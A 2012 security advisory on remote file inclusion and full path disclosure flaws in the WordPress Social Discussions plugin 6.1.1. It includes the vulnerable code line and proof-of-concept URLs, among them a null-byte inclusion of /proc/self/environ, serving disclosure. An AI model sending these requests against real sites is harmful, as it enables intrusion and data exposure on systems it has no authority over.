Wordpress Social Discussions Plugin Multiple Vulnerabilities

2012.10.18
Credit: waraxe
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

[waraxe-2012-SA#093] - Multiple Vulnerabilities in Wordpress Social Discussions Plugin ==================== Author: Janek Vind "waraxe" Date: 17. October 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-93.html Description of vulnerable target: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Enables Social Sharing of your blog posts to 30+ Social Networks. Plugin also enables you to Automatically Publish or Self Publish your Blog Posts to 25+ Networks. http://wordpress.org/extend/plugins/social-discussions/ Affected version: 6.1.1 ############################################################################### 1. Remote File Inclusion in "social-discussions-networkpub_ajax.php" ############################################################################### Reasons: Uninitialized variable "$HTTP_ENV_VARS" Attack vectors: User-supplied parameter "HTTP_ENV_VARS" Preconditions: 1. register_globals=on 2. register_long_arrays=off 3. allow_url_include=on for RFI if PHP >= 5.2.0 4. PHP must be < 5.3.4 for LFI null-byte attacks 5. magic_quotes_gpc=off for LFI null-byte attacks Php script "social-discussions-networkpub_ajax.php" line 2: ------------------------[ source code start ]---------------------------------- if (!function_exists('add_action')){ @include_once($GLOBALS['HTTP_ENV_VARS']['DOCUMENT_ROOT'] . "/wp-config.php"); ------------------------[ source code end ]------------------------------------ We can see, that script expects old-style array "HTTP_ENV_VARS" to be initialized and containing "DOCUMENT_ROOT" entry. But it appears, that if PHP directive "register_long_arrays=off", then "HTTP_ENV_VARS" is uninitialized and if in same time "register_globals=on", it is possible to fill that array with any value, leading to the RFI (Remote File Inclusion) vulnerability. Tests: http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=http://php.net/? http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub_ajax.php?HTTP_ENV_VARS[DOCUMENT_ROOT]=/proc/self/environ%00z ############################################################################### 2. Full Path Disclosure in multiple scripts ############################################################################### Reasons: Direct request to php script triggers pathname leak in error message Preconditions: PHP directive display_errors=on Result: Information Exposure Through an Error Message Tests: http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions-networkpub.php Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 http://localhost/wp342/wp-content/plugins/social-discussions/social-discussions.php Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social-discussions-networkpub.php on line 2 http://localhost/wp342/wp-content/plugins/social-discussions/social_discussions_service_names.php Fatal error: Call to undefined function __() in C:\apache_www\wp342\wp-content\plugins\social-discussions\social_discussions_service_names.php on line 3 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe () yahoo com Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------

References:

http://www.waraxe.us/advisory-93.html


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